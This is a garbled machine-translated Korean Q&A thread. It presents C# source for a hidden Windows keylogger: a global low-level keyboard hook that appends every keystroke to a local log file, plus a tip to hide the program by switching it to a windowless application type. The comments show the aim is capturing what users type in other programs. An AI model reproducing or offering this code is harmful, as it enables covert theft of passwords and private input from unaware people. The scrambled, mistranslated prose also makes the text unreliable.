this question 보안상의 이유로 서비스에서 가능하지 않은 것처럼 보입니다.
그러나 keybaord 후크를 사용하고 콘솔이나 창을 표시하지 않는 프로그램을 만들 수 있습니다. 즉, 서비스와 마찬가지로 사용자가 숨길 수 있습니다.
는 이렇게 첫번째 일부 필드 선언하려면 : 그래서 파일에 기록 (
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
을 HookCallback
가 탐지 된 키 입력을 처리 할 이러한 방법을 만들기 :
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
그런 다음이 네이티브 메소드 가져 오기를 여기에 코멘트가 더 있음)
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
var keyName = Enum.GetName(typeof(Keys), vkCode);
var path = @"C:\test\logfile.txt";
// Handle the key press here
var text = ((Keys)vkCode).ToString();
File.AppendAllText(path, text);
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
SetHook
기본적으로 하위 우리의 키보드 후크 서기관 :
마지막으로
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
, 당신의 Main
방법이 줄을 추가
이제
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
프로그램이 보이지 않게하기 위해, 단순히 대신 Windows Application
에 Output Type
속성을 변경 Console Application
.
나는이 당신에게 helpul 희망
'나는 me'에 대한 조금 힘들 것 같다 초마다 데이터를 절약 할 수있는 타이머를 사용하지만 Windows 서비스를 사용하여 Windows 형태의 키로거를 만들어 관리했습니다 정확히 이것을 달성하지 못한 곳은 어디입니까? 또한 사용중인 방법을 공유 할 수 있습니까? – Bassie
Windows 응용 프로그램에서 사용하는 방법은 텍스트 상자를 사용하여 내용을 가져온 다음 해당 내용을 텍스트 파일로 전송합니다. 텍스트 상자가 없기 때문에이 문제를 해결하는 방법을 정확히 알지 못합니다. 사용자가 입력하는 키보드 입력 (예 : 메모장, 브라우저 등) –